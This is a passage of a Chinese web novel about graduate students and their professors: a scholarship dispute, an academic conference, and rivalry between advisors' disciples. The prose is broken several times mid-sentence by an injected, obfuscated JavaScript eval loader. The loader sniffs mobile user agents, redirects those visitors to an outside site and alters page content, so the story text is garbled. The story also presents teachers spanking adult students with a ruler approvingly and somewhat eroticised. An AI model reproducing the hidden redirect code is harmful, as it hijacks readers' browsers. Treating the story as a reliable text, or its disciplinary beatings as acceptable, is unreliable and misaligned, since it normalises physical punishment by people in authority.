“你也知道,这件事他定然比你更在意,而且这对他来说并不是什么好事,你这样大张旗鼓的,不是叫他难堪吗?就算你纪老师真听你的,把结果改了,你是要让别人都说小庄的奖学金是你让给他的吗?再说给钱的事,你要他怎么要你的钱呢?你这不是逼着他承认他不如你,只能靠你接济吗?”严先生顿了顿,给孩子一点消化的时间,而后才道,“巍思,你能这样为同学着想,老师很高兴,但是很多时候,只靠一腔热情是会把事情搞砸的,明白吗?” 到底是多走了几十年路,多吃了几十年饭,刘巍思听完老师的话,不得不承认自己的简单和莽撞,闷声道:“老师,我懂了。” 还是聪明孩子,一点就通。严先生笑了笑,继续严肃道:“还有,你纪老师是系主任,学科负责人,这几年来工作什么样你是看在眼里的,他处理这些事经验丰富,有自己的考量,你有疑问可以去问,但不能在背后曲解他。要尊重老师们,这是很久以前跟你说过的了,越长大倒越忘得厉害了?” “我……我就是太着急了,我心里想着遂平,就……” “你心里想着谁也不能不尊重你纪老师。他这些年很是把你放在心上,这件事也没有什么对不住你的地方,你为遂平打抱不平,也不能那样说话。” 刘巍思自知理亏,只得认错:“我知道错了,我不该那样说纪老师。” 严先生提起戒尺,在孩子臀尖上轻轻拍了两下:“你也大了,不用老师再像刚上大学时候那样教训你,这两桩错只罚你四十尺,刚刚说的话,你自己要往心里去,知道吗?” 四十尺确实不算重,可是刘巍思却实实在在有被责罚了的愧疚感,乖乖点头:“知道了,老师打吧。” 严先生自认赏罚分明,但凡孩子真心知错了,责罚数目便不会多,就连下手也会轻上几分。这回也是,戒尺抬起落下,不过六七分力,小孩臀上也只留下一道粉色尺痕,刘巍思轻皱眉头,有些意外。 因着不大用力的缘故,戒尺责落的声音也不大,“啪、啪、啪”的,不紧不慢,落在师生俩耳朵里,甚至有些悦耳动听。不过臀上那点地方,再怎么不用力,打到后面也是疼的。责过半数,刘巍思便觉难耐,仿佛文火烧着屁股,虽不是承受不了的剧痛,但却缓慢地切割着他的神经,令他时不时从唇齿间泻出一两声痛呼。 屁股被打得一片绯红,如同黄昏时的晚霞,煞是好看。戒尺一落下,肉团便往下一凹,又迅速恢复原状,只有一道看不见的痛麻留在皮肉上,逼得刘巍思叫唤出声:“老师……” 严先生手中戒尺不停,仍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590823|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧教训着学生:“这几下戒尺,哪里就疼了?简直是给你按摩!” “疼、疼的……” 严先生手起尺落,堪称优雅地将戒尺往回一收:“好了,打完了。” 刘巍思撅着嘴摸摸屁股,温温的,不得不说,摸起来还挺舒服,可是他还在挨教训啊,怎么能有这么奇怪的想法?他偷偷在心里骂了自己几句,抬头问:“老师,我可以穿裤子了吗?” 严先生不直接回答他,只问:“你想到怎么解决这个事情了?” 刘巍思傻傻摇头。 严先生一把抓住他捂着屁股的手,“啪”一声,重重地往绯红屁股上抽了一尺,疼得刘巍思嚎叫起来,连连踢腿:“老师,疼疼疼!” 严先生任由他闹了一会,才道:“这么简单的事情想不出来,是不是该打?” “老师,”刘巍思生怕再挨这么一下重的,忙求饶,“老师教我,别打,别打!” “你不是担心小庄生活拮据么?又觉得自己多拿奖学金不安心,平时多照顾着他些就是了,上食堂的时候请他多吃两个菜,其他要花钱的地方想着他些,能帮就帮,但也别说给钱这样的话,懂吗?” 刘巍思茅塞顿开,突然觉得这问题怎么这么简单? 看他傻乎乎的,严先生只觉好笑,又“啪”地抽了一下,将人抽清醒了,“嗷嗷”喊疼。 “老师,要疼死了……”刘巍思真不夸张,眼角一滴泪缓缓滑了下来。 “疼死也是活该,这么笨!” 老师打趣他了,一般就是不打了,刘巍思连裤子也顾不上穿,整个人往老师身上缠:“我就是笨,反正老师教我。” 严先生笑了笑,揉揉他的脑袋,道:“也不知道上辈子造了什么孽,被你这么一个小笨蛋逮住,这点小事还要老师教。” 刘巍思不害臊,在老师怀里蹭来蹭去:“我就高兴让老师教我。” “好了,不闹了,起来吧,裤子穿上,等会着凉了。” “老师给我揉揉屁股,疼。” 严先生抬手就是一巴掌,用力扇在他右边屁股上:“撒娇还上瘾了?快起来!” “哼!”刘巍思撅着嘴,不高兴地站好来,穿上裤子,又心疼地摸了摸自己的屁股,又道,“老师,我领钱了请您下馆子去。” 严先生笑出了声:“怎么?你拿着钱请我下馆子,然后一转头又问我要钱请小庄吃饭?” “哎呀,反正老师都会给的。” “好,老师给。” 25. 第 25 章 学校办事效率很高,一个多星期后奖学金就发下来了,学生们拿着学生证去学院办公室签字领钱。薄薄的纸币装在土黄色信封里,信封上写着名字。虽然早知道多少钱,但是打开信封,偷偷往里头瞄一眼的惊喜感仍然很强。 “走走走,吃饭去。”柏阅冬推着刘巍思和庄遂平,兴高采烈地往食堂走。 还不到十一点半,食堂刚开,只有少许学生稀稀落落地往里走,柏阅冬一行人说笑着进了食堂,各自打饭,挑了一张四人桌坐下。 柏阅冬原本就不缺钱,领奖学金这种事不过是让他找个由头浪费点钱,一个人就打了五六个菜。当看见对面那两人朴素得一如往常,不禁咋舌:“你们两个今天就不用省了吧?” 庄遂平家境清寒,平日就节俭惯了的,刘巍思则不想在庄遂平面前表现出多领了钱很高兴的样子,便道:“你拿这么多,等下吃不完还浪费。” 庄遂平没有说话,坐下闷闷吃饭。柏阅冬并不知这其中细节,也并未察觉庄遂平的异常,只兴奋地问起刘巍思四月学术会议的事:“要读的论文都定下来了吗?” “还没呢,我老师和纪老师还没审完稿,不过你那篇没问题的,好像只有你一个研一学生读论文。”刘巍思道。 柏阅冬对此事显示出万分的骄傲,小眼神一瞟:“省得秦昭阳在别人面前抬不起头罢了。你师兄师姐是不是也要读论文?” “嗯,我大师兄,还有我研三的师姐。” “你师姐毕业以后是不是要留校了?” “对,她本来就在学校做行政工作的,硕士毕业就任学院教师。纪老师不是一直说缺青年教师吗?我师姐留下来,可以分担很多教学工作。” “这倒是,不然严老师一大把年纪了还要上这么多课,太辛苦了。哎,你说,等我毕业的时候,秦昭阳会不会也把我留下来?” 刘巍思斩钉截铁道:“会啊,你这么优秀,秦老师对你又上心,学院老师都挺喜欢你的,听说开会的时候童院长老提你呢!” 柏阅冬年纪小,经不得夸,听了这么一句,尾巴都要摇上天了,根本没注意到庄遂平一脸的失落,只见他忽然站起,道:“我去加个菜。” 刘巍思立刻跟着站起来,道:“我也去,遂平,一块吧,我请你。” “不用了,一份菜的钱我还是有的,你不必可怜我。”庄遂平冷冷道。 “遂平……” 这两个人的语气都太怪了,柏阅冬慢慢地变了脸色,有些警觉。 庄遂平跟刘巍思僵持了一会儿,干脆绕过他直接走,可是刘巍思一把抓住了他的手臂:“遂平……” “我说了不用你可怜我!”庄遂平颇为激动,引得周围的人都看了过来,尴尬地甩开了刘巍思的手。柏阅冬一看情形不对,立马站起来,道:“你们俩坐下,我去行了吧?烦死了!”说着便赶紧加菜去了。 柏阅冬不仅多添了几个菜,还买了汽水,一一分给他们:“你们两个要吵架要打架都回去再说,在这里可丢人,说不准明天全校都知道了,我还不想被别人说来说去的。” 刘巍思吸了一口汽水,主动道:“没有吵架,是我没做好。” 庄遂平没有接话,始终闷闷的,仿佛被棉花堵住了喉咙,呼吸都干痒。 却不知,食堂角落里,纪慎独自一人,远远地观赏了这一短暂插曲,又是千般滋味涌上心头。 他这个学生,不止学习要教,为人处事也得好好教才是。 枝头的燕子拉开了春的序幕。当刘巍思从家里的窗户向外望见枯枝上的绿芽时,当庄遂平不知不觉地脱下外衣里面厚重的毛衣时,当柏阅冬走在路上便隐隐约约地闻到花朵甜美的香气时,四月就叽叽喳喳地来临了。 严先生办的学术会议是学院四月最大的事,几乎所有能干活的人都被叫来帮忙了,但刘巍思三人却坐在会场里躲懒,偷偷地讨论着来参会的人。 柏阅冬指着一个老先生道:“遂平,上次我给你那个书,就是那个穿蓝衣服的老先生写的,你等会要去跟他打招呼吗?” “可以吗?不认识,会不会尴尬?” “没关系啊,感觉大家本来都不认识,来了就认识了。” 庄遂平点点头,环视一圈,眼尖地抓住了纪慎。纪慎正和一个六十来岁头发花白的学者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590824|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聊天,满面笑容,温和得让人陌生。只是,纪慎的身边,还站了一个三十岁左右的年轻人。 “阅冬,你看,那是谁啊?” “不认识哎,刘巍思,你看一下,纪老师旁边跟着的是谁?” 刘巍思定睛一看,道:“是纪老师的学生,研二,他第一个研究生,就是遂平的师兄嘛,遂平你不认识?” 庄遂平不知怎么的心里一空,有点慌慌的:“老师没跟我说过。” 刘巍思有点奇怪:“我也不知道纪老师怎么想的。不过这种场合,老师们是会带自己的学生去见人的,阅冬,秦老师没叫你?” “叫了,我才不去!”柏阅冬刚说完,余光便瞟到秦昭阳和几个他不认识的老师说笑,似乎是提到了他,几人的视线都往这边看了过来,秦昭阳眼中更是隐藏不住的高兴。柏阅冬心中得意,给了秦昭阳一个骄傲的小眼神,秦昭阳笑着摇了摇头,由着他去了。 柏阅冬回过头,问刘巍思:“那你呢?你怎么不去?” “我师兄师姐那么多,用不着我,我晚点陪老师去吃饭就行。” “对啊,这个会要开两天,肯定很多招待活动。”柏阅冬扭头,“遂平,纪老师怎么说?” 庄遂平迟钝地应了一声,半晌才道:“我不知道,老师他没有跟我说。” 原本并没有什么期待的,但是听了同伴的话,庄遂平心里硌得慌,原来这种场合,老师们要带着学生出席的,原来老师们会提前安排好学生参加招待活动的,原来老师们和学生之间是要有这么多联系的,但是这一切,他和纪慎之间都没有。 正尴尬着呢,易堂生却往这边来了,几人都站起来叫师兄好。易堂生朝他们点了点头,冲刘巍思道:“我要去校门接个人,你去陪着老师。” “哦。”刘巍思应了一声,还没跟同学说呢,柏阅冬便挥了挥手,让他赶紧走了。 只剩下两个人,庄遂平的失落更重了,柏阅冬想安慰他,又不知该如何说,沉默了一会儿,突然道:“你那个师兄是什么来头啊?” 庄遂平闷闷地摇头:“我不知道。” “走,去打听一下。” 26. 第 26 章 “老师。”刘巍思按照大师兄说的,一路找到严先生,见他正和另一位老先生聊天,等了片刻才插空过去,“我来了。” 严先生笑吟吟地拉着他,问:“还记不记得王先生?” 这些年刘巍思跟着老师见的人太多了,有些人仅一面之缘,话也没说过两句,其实不一定都有印象,但老师提了,他便弯腰问好:“王先生好,我叫刘巍思,王先生叫我巍思就好,有什么要帮忙的,您吩咐一声就是了。” 对面这位王先生赞赏地点点头,道:“长大一点了,上回我见他,瘦得很。” “这几年比从前安逸一些了,”严先生眼带狡黠,“不过说不准是小孩子没用功呢,一天天的光吃饭了。” 王先生闻言哈哈大笑,刘巍思也不反驳,只乖乖陪在一边听长辈们说话。 寒暄半晌,主持人在台上手持话筒,提醒大家会议准备开始,会务人员引导着各位学者到指定的位置落座,分发茶水点心。刘巍思把老师和王先生送到座位上,才溜回自己的位置。 柏阅冬和庄遂平分吃一盒饼干,见他回来了,递到他跟前:“刘巍思,我们刚刚去打听遂平那个师兄了。” 刘巍思拿了一片饼干塞进嘴里:“郑旭师兄吗?其实我也很少见他,感觉他一直躲着似的。” 柏阅冬轻蔑地冷笑:“他就跟遂平一样啊,没读本科,直接考研究生,也三十好几了吧,到现在也没发出文章来,纪老师不会担心他毕不了业吗?” “毕业应该没问题,纪老师也不怎么操心他,遂平去打招呼了吗?” 庄遂平“啊”了一声,有点意外,随后又觉得确实该去打招呼,他作为师弟,该主动一点的:“我、我看他和老师在一起,也没好意思。” 刘巍思从前也不懂这些礼数,都是严先生手把手教的,也能理解庄遂平的心态,道:“没事,等会有空去叫一声师兄好就行。” 几人正说着话呢,易堂生又带着个人过来了,将手里一袋点心给了刘巍思:“拿着,吴博士带来的。” 刘巍思忙站起来,接了点心袋子,鞠躬道:“吴师兄好。” “我师弟,刘巍思,你还记得吗?” 那位吴博士跟易堂生年纪相仿,笑道:“记得,前年你带去我们学校的,没见你对别人这么上心。” 易堂生带着吴博士去坐,边走边道:“老师上心,我做大师兄的,帮老师分担一些罢了,巍思将来要走这条路的,你这个吴师兄,可要提点一点。” “我哪里敢提点你师弟?严先生的亲传弟子,说不准将来他提点我呢!” 两位师兄越走越远,刘巍思才坐下来跟同伴分点心吃:“他们那边的点心跟我们这的不一样,也放不了几天,快吃了。” 庄遂平手里拿一块方形面点,怔怔的没有动:“巍思,这些人,你都认识吗?” “也没有都认识,有一些以前见过,其实也不太记得,就打声招呼。” 去陪老师,外地特地带点心过来,师兄带着跟别人打招呼,不过是些零零碎碎的事,可是一串起来,庄遂平就知道一个被重视的学生是什么样的,不只是老师和师兄看重,就连外人也都知道这是谁。 他偏过头,遥遥望着第一排中间纪慎的身影,心里堵得难受。 台上童院长在致辞,宣布学术会议开始,几人什么也没听,就跟着鼓掌。不多时,一个女生走过来,问:“是柏阅冬学长吗?麻烦跟我来一下。” 柏阅冬放下点心和饼干,安安静静跟着到后台准备去了。 上午要读将近二十篇论文,也不知道是严先生开了后门,还是特地为了鼓励新进,柏阅冬就安排在第三个,在严先生和童院长后面,众人拿到会议安排行程表的时候都感到十分惊讶。 老师和博士人手一本会议论文集。柏阅冬一个研一学生,论文夹在一堆老先生文章中间,题目略显简单,但结构和深度却毫不逊色,以至于所有人都对这个学生充满了好奇。 不知是什么样的天才人物。 柏阅冬是在掌声中上台的,手里拿着薄薄的论文提要,向满会场的人鞠了一躬。 刘巍思和庄遂平鼓掌更起劲了。 柏阅冬今天穿了一件白色衬衣,外面套着蓝色风衣,下面穿浅灰色长裤,中间扣着新年时在国外买的新皮带,搭扣锃亮,底下蹬着黑色皮鞋,一尘不染,看着十分干净清新。加上他一张小圆脸,明亮双眸,清爽短发,一举一动自然得体,怎么看都叫人喜欢。 意气风发。 虽然都是知识分子,但也免不了人之常情,见到柏阅冬这样的学生,不禁窃窃私语。 “后生可畏啊!” “听说是秦老师的开山大弟子,才21岁。” “昭阳运气好啊!” “小伙子长得还挺精神,比严老师那个小孩好看。” “不止好看,还厉害呢,刘巍思也没见有文章。” “可能是严先生要避嫌吧。” 老师们尚且如此,学生们更是移不开目光,尤其是大一大二的女生们,年纪不大,正是春心萌动的时候,见到柏阅冬,脸都羞红了。 “好帅气啊!” “做学术也厉害。” “以后我要是读研究生,也去秦老师那里。” “你考上再说吧!不害臊。” 柏阅冬离得远,只能听见窸窸窣窣的声音,知道别人在议论他,却不甚在意,反倒更加自信,稳稳开口:“各位老师、同学,大家好,我叫柏阅冬,很荣幸今天站在这里和大家交流我的文章,我的文章题目是……” “阅冬好冷静啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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柏阅冬回答了两个问题,没有人再提问,便进入评议环节。上午的评议人是纪慎和刘巍思接待的那位王先生。王先生高度赞扬了柏阅冬,尤其说到他才研一,更是止不住赞美,说他前途无量,最后又勉励他继续深耕,期望他再有好的文章。柏阅冬鞠躬,说了谢谢老师,便将目光转到了纪慎身上。 纪慎接过话筒,仍是笑着:“阅冬是我们这一届里非常出色的学生,今年才21岁,确实如王先生所说,前途无量。这篇论文是我看着他写出来的,阅冬功底扎实,逻辑清晰,语言畅达,还是非常不错的。不过,我们一直认为,做学术不能急功近利,很多同学可能看了柏阅冬有这样的机会,觉得很羡慕,但你们还年轻,不用太着急,要把基础打牢,凡事循序渐进,遵守规则,你说是吗阅冬?” 柏阅冬不知怎么的,总觉得纪慎在问他的那一瞬间眼中忽然就没有笑意了,被吓得后背一凉,嘴角动了几下才笑出来:“是,谢谢纪老师教诲。” 然后他看着纪慎放下话筒,脸寒如冰。 27. 第 27 章 中午为学者们安排了餐厅招待,原则上是只让参会老师和博士们进去的,但诸位老师基本都是带着学生来的,因此安排时也预留了足够的位置。柏阅冬因为参会获得了一张邀请券,十分得意:“走,吃饭去!” 刘巍思自然要去的,可庄遂平却很迟疑,抓着背包道:“我还是去食堂。” “别呀,纪老师肯定在里头,你就说你是纪老师的学生,肯定不会拦你的。”柏阅冬道。 刘巍思帮腔:“对啊,又不是外校人,跟我们一起走呗!” “算了,你们去吧,我不想让老师生气。”庄遂平站起身,神情暗淡,背上背包,默默转身走了。 柏阅冬拿他一点办法都没有:“他为什么这么怕纪老师生气呢?纪老师也没有经常生气吧?” 刘巍思拍拍他的背,和他一块往餐厅去了:“随他吧,说到底,他才是纪老师的学生。” 柏阅冬叹了声气,不说话了。 餐厅是自助的,主食、菜肴、点心、水果、饮料,应有尽有,柏阅冬颇为惊喜,一下就把庄遂平的事情抛到脑后了,蹦哒着去看有什么菜。刘巍思则去找严先生了。 “老师。” 严先生和几位老先生坐一桌,连带着老先生们的学生,都已经拿了餐,也没空位了。别人见到刘巍思,忙道:“巍思坐这里来,我们挪一挪,去给巍思搬个椅子。” “不用不用,”刘巍思连忙摆手,这里都是他的前辈,就算是学生,也都是博士,哪有人家给他搬椅子的道理,“我自己来就好。” 严先生也道:“不用管他,他肯定和同学一起来的,阅冬和遂平呢?” “阅冬自己去打饭了,遂平,遂平没来,他说去食堂。” 严先生有些迷惑:“怎么让他去食堂了呢?纪慎没有带他来?” 刘巍思不敢回答这话,不过严先生想想也明白了,便道:“你去叫他回来,叫他过来陪我吃饭。” 刘巍思喜出望外,连连点头,哦了好几声,拔腿就跑了。 也亏得庄遂平心情低落,走了老半天也没走几步,刘巍思狂奔出来,见了那打不起精神的身影,大喊:“庄遂平!” 庄遂平呆愣愣地回过头,只见刘巍思“吭哧吭哧”跑来,喘气道:“我老师说让你去陪他吃饭。” “严老师?我陪严老师吃饭?” 刘巍思点点头。庄遂平又问:“是不是你跟严老师说的?” “没有,是我老师问的,我说你去食堂了,他就让我叫你过去。” 别的老师比他自己的老师还惦记他,庄遂平没感到开心,反而失落更甚,无力地点点头,跟着刘巍思回去了。 却说餐厅里,众人吵吵闹闹的,这里几个人要举杯,那里几个人大笑,这边一边排队一边猜着某个菜好不好吃,那边大声问同伴要什么饮料,一派热闹景象。 柏阅冬拿着盘子,正扫视着面前的一排菜肴,一转头,却见余光中的人有点脸熟,立刻换上笑脸:“郑师兄好。” 旁边这位郑师兄明显一愣,看了他一会,道:“你是柏阅冬,你怎么认识我?” 柏阅冬慢慢地往前走,心思却不在菜肴上了:“我们一个专业的,认识也不奇怪呀!倒是郑师兄,也不提点一下我们这些师弟。” 这人正是郑旭,纪慎的大弟子,庄遂平的师兄,三十来岁的模样,周正而憨厚,和骄矜精明的柏阅冬形成了鲜明对比。郑旭没听出他话语中的暗讽,只道:“你才研一,就能在大家云集的学术会议上读论文了,我哪里能提点你?” “说得也是,”柏阅冬伸手拿了一份芙蓉蛋,“郑旭师兄还没发文章吧?” “嗯,还没有。” “那纪老师可要操心了,师兄都研二了,写毕业论文不会有困难吧?” 郑旭跟着往前走,往盘子里夹了几块切好的苹果:“还行,毕业还是没问题的。” 柏阅冬端着盘子,一副要跟他一起去吃饭的样子:“也是,纪老师的学生嘛,如果师兄写不出来,纪老师还是会帮你的。怪不得他没空管遂平,大概精力都花在师兄身上了吧?” 这话说得很明白了,可郑旭很少跟人交流,也几乎没遇到过像柏阅冬这样说话带刺的,因而还是憨憨的:“遂平是我师弟吗?我平时不住学校,也没见过他,就知道老师收了个学生,我还以为老师带他多一点。” “遂平上学期就发了文章呢,一个学报,郑师兄可要加把劲,别连自己的师弟都比不上,不然纪老师带你在身边,应该很有压力吧。” 郑旭似乎听出了点意思,眉头皱了一下,笑道:“这你应该去问老师才对,我怎么知道他有没有压力?” “郑师兄连这都不知道,还是挺没有自知之明的。” 郑旭嘴角往下一拉,正要说话,却见纪慎来了,点点头叫了一声:“老师。” 纪慎皮笑肉不笑地动动嘴角,让他先去吃饭。郑旭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590826|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没那么多心眼,虽然不是很高兴,但还是道了声再见,转身走了。 柏阅冬的趾高气扬瞬间消失殆尽。 “怎么?会议上读论文把你得意坏了?”纪慎直勾勾地盯着他的眼睛,毫无笑意的双眸里压迫感十足。 柏阅冬换上一脸谄媚的笑,就差没低头哈腰了:“老师坐下面,我哪里敢得意?纪老师,您吃什么?我帮您拿?” “少在这里献媚!”纪慎脸一紧,连虚假的笑容也不摆了,“庄遂平让你来对郑旭说那些话?” 柏阅冬一听见庄遂平这三个字,生怕自己又拖累了他,忙摆手道:“不不不,老师您别误会,跟遂平没关系,就是我自己,我嘴贱您知道吧?我就是读了论文高兴坏了,觉得自己可厉害……” “你少说这些有的没的,就算庄遂平没直说让你来,他脱得了干系吗?你和郑旭唯一的联系就是庄遂平,要不是为了庄遂平,你吃饱了撑的在这里说这种话?!” 柏阅冬简直百口莫辩,差点就脱口而出问纪慎怎么对庄遂平这么大意见,但是理智稍一抬头,还是把这份冲动压了下去。 他不能把事情越搞越糟。 “老师,这件事真的是我自己的问题,我知道不应该对郑师兄说这些话,但是我骄傲,也刻薄,您都知道,您要打我骂我,我都认,但是这跟遂平真的没关系。”柏阅冬想到他舍友孤零零的,忍不住鸣不平,“他怕您生气,甚至不敢跟我们一起进来吃饭,您要是什么都扣在他头上,他可就真的冤死了!” 纪慎听了这话,才反应过来似乎确实没人带庄遂平进来,心中有些动容,转头扫视一圈,正好瞥见刘巍思拉着庄遂平走进餐厅门口,顿时放了心,嘴角一提,轻笑道:“你也用不着这么替他说话,该来也还是来了。” 柏阅冬顺着他的目光望去,果然瞧见刘巍思和庄遂平两人行色匆匆,径直往最里头的大桌去了:“肯定是巍思跟严老师说了,严老师让他来的,不然他一个人去食堂吃饭,多可怜。” “不是可怜,是该,”纪慎转过头,认真道,“进到这里来的是什么人你心里有数,庄遂平他不够格。” 柏阅冬简直要被气死了,纪慎怎么能说这种话呢?! “纪老师,按照您说的,那郑师兄够格吗?遂平好歹还发了学报,他有什么?” 纪慎冷冷瞥他一眼:“柏阅冬,是我在带学生,不是你。至于庄遂平的文章是怎么发的,你最好心里有数。” 28. 第 28 章 “老师,遂平来了!”刘巍思欢欢喜喜地拉着同伴的手,一脸带笑。 这面前一大桌,半是饱经沧桑的老学者,半是朝气蓬勃的同龄人,庄遂平哪里见过这样的场面?一时间怔住了,还是刘巍思扯了他的袖子,才回过神来:“严老师好。” 刚才那当儿,已有人挪了椅子来,空了一个位置,此时易堂生又站起来,把自己的椅子拉出来一点,道:“遂平,你坐这里,跟巍思在这里吃吧。” 众人一看易堂生要走,忙阻止:“你上哪儿去呢?再拉个椅子来嘛!” “不用了,”易堂生按着庄遂平坐下,解释道,“我跟吴博士吃去,他这次一个人来,孤零零的,也没个人陪着,正好我去。” 严先生顺势点点头:“小吴下午要参加你们的博士交流会,你好好招待一下他,有什么事来跟我说。” “是,老师,学生明白。”易堂生再次冲大家笑道,“各位慢用。” “师兄慢走。”刘巍思目送大师兄离开好几步才毛手毛脚地坐下,提起茶壶倒了两杯茶,将其中一杯推给庄遂平。庄遂平轻声道了谢,抿了一小口。 严先生指着两个孩子道:“巍思你们都知道的,我就不多介绍了,这个孩子叫庄遂平,是纪慎的学生,硕士一年级,是很朴实懂事的小孩,往后还要仰赖大家照顾。” 严先生每次带刘巍思参加活动,都会这么介绍,刘巍思知道是什么意思,听多了也不觉得奇怪,倒是庄遂平,头回见这样的场面,只有惶恐。 也许,到了将来他完全进入这个圈子时,才会想起这个热闹而茫然的中午,严先生那些话对他的重要意义。 本以为没人知道他的,可是对面一位老先生却道:“庄遂平,是不是写吴梅村那篇文章的呀?” 庄遂平一惊,差点连茶杯都撞到了:“是、是!” “我看过,研究清诗的人不多,你那篇文章还是很有意义的,虽然深度欠缺一点,但一年级能写出来,也很不错了。” 庄遂平甚少得到夸奖,尤其在这么多人面前,心中感激非常,声音震颤:“谢谢老师,我、我会继续努力的。” 老先生笑着点了点头。另一位老先生又道:“煦和,你们这一届学生收得好啊,一个柏阅冬,一个庄遂平,还有你们家巍思,黄金一代呀哈哈哈哈。” “什么黄金一代?”严先生笑道,“不惹人笑话罢了,谁知道以后什么样子?柏阅冬那个孩子是很聪明的,也扎实,但依我看,性子不够稳重,怕他将来要吃亏。遂平么,当着他的面我也不说那些虚头巴脑的,这孩子胜在踏实,肯用功,只是还有些茫然,得好好跟着他老师。巍思,”严先生看了身旁的小孩一眼,眼尾笑意甚浓,“巍思就随他去吧,学不成就算了!” “什么学不成就算了,带着十几年了,巍思你别听你老师胡说啊!” 刘巍思常听老师们拿他开玩笑,并不往心里去,只是笑着听老师们说话,像个乖小孩。 忙忙碌碌,两天过去,学术会议圆满完成,会务人员紧锣密鼓地将参会学者送到车站、机场,待得所有人离开,此事才算了结。 这事一了,另一些事就该提上日程了。柏阅冬一大早就被秦昭阳叫到办公室去了,还有附加要求——带上戒尺来挨打。 柏阅冬心里有数,左不过是为了他阴阳怪气郑旭那事,肯定是纪慎一转头就跟秦昭阳说了,秦昭阳没办法,只能收拾他一顿,给纪慎一个交代。 他是很不愿意带那柄戒尺的。原本挨打就是一件丢脸羞耻的事,用上这么精致的工具,并不会改变挨打的性质,反而强化了那种羞耻感——仿佛在说,柏阅冬要被很正经地打屁股了。 一想到这句话,柏阅冬脸都羞红了。 他掩耳盗铃一般将戒尺塞在挎包里,拉着张脸往学院去了。 秦昭阳一早就在办公室候着了,见学生按时到来,冷冷笑了一声:“未来的柏先生,你可真是给我长脸,不仅读了论文大出风头,还跑到人家跟前一较高下,加深别人对你的印象,我这语言匮乏的,都不知道怎么夸你才好。” 啧啧啧,他的毒舌师父,是真的,不是纪慎假扮的。 柏阅冬一边腹诽师父一边坐下,摘了背包往外掏戒尺:“师父,语言暴力也是暴力,您要是想对我使用语言攻击,我可以闭嘴安静听,但是戒尺您就别用了。” “还叫我一声师父呢,就敢给我出选择题!”秦昭阳狠狠剜了他一眼,“你倒是自己说,是谁先使用了语言暴力导致自己要挨打的?” 柏阅冬“啪”一下将戒尺拍在桌上:“那能怪我吗?分明是纪老师偏心……” “纪老师偏心……”秦昭阳轻飘飘地截走了他的话,“你知道你纪老师的心长在哪里?你看见它偏了?往东西南北哪儿偏的呀?偏了几公分呀?”挖苦完了,还不忘教训小孩,“跟你有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590827|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么关系?!人家师门的事情人家不会自己解决?就你一个人长脑子了?毛没长齐在这里当什么裁判?!” “是没看见他偏心,我看他也没有心!” “柏阅冬!” 柏阅冬猛地心头一紧,抿了抿唇。 “在背后议论师长,是一个学生能做的事吗?” 秦昭阳少有如此严肃,收起了平时所有的阴阳怪气和随性外露,只有一张板得铁青的脸,压迫感比起纪慎来有过之而无不及。 柏阅冬上下两排牙齿磨着嘴里的**,片刻后才开口:“我错了。” 本来只需要打几下给纪慎一个交代的,才说了没两分钟话,秦昭阳又抓住他一个错处,真是天生要被打屁股的小孩。 “戒尺拿过来。” 柏阅冬站起身,有点不情愿地抓起戒尺走到师父身边,心里带着点气,差点就直接甩出去了,还是被理智压住了,咬着牙两手捧起。 一句话也没有。 秦昭阳稍稍往后一靠,抬眼看他那一脸不服气的样子,道:“我是不是也得给你立点规矩?” 柏阅冬心头的弦一颤,脑海中瞬间浮现他前次被纪慎打了之后谢罚的场景,脸“唰”一下红了,磕巴道:“不、不用了。” 见老师不为所动,柏阅冬想了想,弯下腰,让戒尺自然地伸到老师手边:“师父,我知道错了,师父打我吧。” 够有规矩了吧?!柏阅冬想,老子他妈一辈子都没这么规矩过! 